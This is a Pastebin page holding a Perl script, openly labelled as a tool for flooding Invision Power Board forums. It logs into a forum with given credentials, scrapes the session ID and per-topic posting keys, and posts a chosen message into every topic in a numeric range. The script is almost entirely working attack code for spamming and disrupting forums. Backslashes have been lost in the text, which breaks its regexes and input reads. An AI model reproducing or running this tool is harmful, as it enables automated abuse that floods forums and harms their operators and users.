Advertisement
Guest User

Untitled

a guest
Jun 13th, 2017
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.61 KB | None | 0 0
  1. #----------------------------
  2.  
  3. # this programe has been #
  4.  
  5. # created by NikTrix-Souvico #
  6.  
  7. # [ 'HellSoft' ] for #
  8.  
  9. # Flooding IPB Forums #
  10.  
  11. #----------------------------
  12.  
  13.  
  14.  
  15. #!/usr/bin/perl -w
  16.  
  17. use strict;
  18.  
  19. use LWP::UserAgent;
  20.  
  21. use HTTP::Cookies;
  22.  
  23.  
  24.  
  25. #Variables
  26.  
  27. my $url = undef;
  28.  
  29. my $login = "act=Login&CODE=01";
  30.  
  31. my $UserName = undef;
  32.  
  33. my $PassWord = undef;
  34.  
  35. my $CookieDate = 1;
  36.  
  37. my $SID = undef;
  38.  
  39. my $SE = undef;
  40.  
  41. my $MSG = undef;
  42.  
  43.  
  44.  
  45. #Prototype
  46.  
  47. sub IPBFlood($);
  48.  
  49.  
  50.  
  51. #Main
  52.  
  53. print "ttWelcome to IPBFlood 0.1x By Souviktt[ 'NikTrix' ]Team";
  54.  
  55.  
  56.  
  57. print "Urlt: ";chomp($url=);
  58.  
  59. print "UserNamet: ";chomp($UserName=);
  60.  
  61. print "Passwordt: ";chomp($PassWord=);
  62.  
  63. print "Start [to] Endt: ";chomp($SE=);
  64.  
  65. print "Messaget: ";chomp($MSG=);
  66.  
  67.  
  68.  
  69. my $ua = LWP::UserAgent->new;
  70.  
  71. $ua->agent("Mozilla/4.0");
  72.  
  73. my $cj = HTTP::Cookies->new(file => "N/A" , autosave => 0);
  74.  
  75. $ua->cookie_jar($cj);
  76.  
  77.  
  78.  
  79. #-get SID
  80.  
  81. my $r = $ua->get($url);
  82.  
  83. if($r->is_success){
  84.  
  85. #Find SID ?
  86.  
  87. ($SID) = $r->content =~/?s=(w{32})&.*/i;
  88.  
  89. print "SID : $SID";
  90.  
  91. }
  92.  
  93.  
  94.  
  95. #-Connecting ...
  96.  
  97. $r = $ua->post($url.$login,[UserName=> $UserName ,PassWord => $PassWord ,CookieDate =>$CookieDate , s => $SID]);
  98.  
  99. if($r->is_success){
  100.  
  101. print "[+] Connected" if($r->content =~ /cliquez ici si vous ne souhaitez pas/gi);
  102.  
  103. my($Start , $End) = split(/-/,$SE);
  104.  
  105. foreach($Start..$End){
  106.  
  107. IPBFlood($_);
  108.  
  109. }
  110.  
  111. }
  112.  
  113.  
  114.  
  115. #Subroutines
  116.  
  117. sub IPBFlood($){
  118.  
  119. my $Topic = shift;
  120.  
  121. my $get = $ua->get($url."s=$SID&showtopic=$Topic");
  122.  
  123. if($get->is_success){
  124.  
  125. #Get Subforum ID "f" : variable !
  126.  
  127. if( my ($f) = $get->content =~/f=(d{1,4})/ ){
  128.  
  129. print "[-]Subforum ID : $f & Topic N : $Topic";
  130.  
  131. #Get Post AuthKey for Subforum f=NĀ°
  132.  
  133. $get = $ua->get($url."s=$SID&act=post&do=reply_post&f=$f&t=$Topic");
  134.  
  135. # act=post&do=reply_post&f=56&t=43988
  136.  
  137. if($get->is_success){
  138.  
  139. ##auth_key Ex :
  140.  
  141. my ( $auth_key ) = $get->content =~/auth_key.*(w{32})/i;
  142.  
  143. #attach_post_key Ex :
  144.  
  145. my ( $attach_post_key ) = $get->content =~/attach_post_key.*(w{32})/i;
  146.  
  147. print "[-]auth_key : $auth_key[-]attach_post_key : $attach_post_key";
  148.  
  149.  
  150.  
  151.  
  152.  
  153. my %form =(st => 0,
  154.  
  155. act => "Post",
  156.  
  157. s => "$SID",
  158.  
  159. f => "$f",
  160.  
  161. auth_key => "$auth_key",
  162.  
  163. removeattachid => "0",
  164.  
  165. CODE => "03",
  166.  
  167. t => "$Topic",
  168.  
  169. attach_post_key => "$attach_post_key",
  170.  
  171. parent_id => "0",
  172.  
  173. "ed-0_wysiwyg_used"=> "0",
  174.  
  175. "editor_ids%5B%5D" => "ed-0",
  176.  
  177. Post => "$MSG",
  178.  
  179. enableemo => "yes",
  180.  
  181. enablesig => "yes",
  182.  
  183. iconid => "0"
  184.  
  185. );
  186.  
  187. $r = $ua->post($url."s=$SID",%form);
  188.  
  189. if($r->is_success){
  190.  
  191. print "Send success !" if( length($r->content)< 300);
  192.  
  193. }
  194.  
  195. }
  196.  
  197. }
  198.  
  199. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement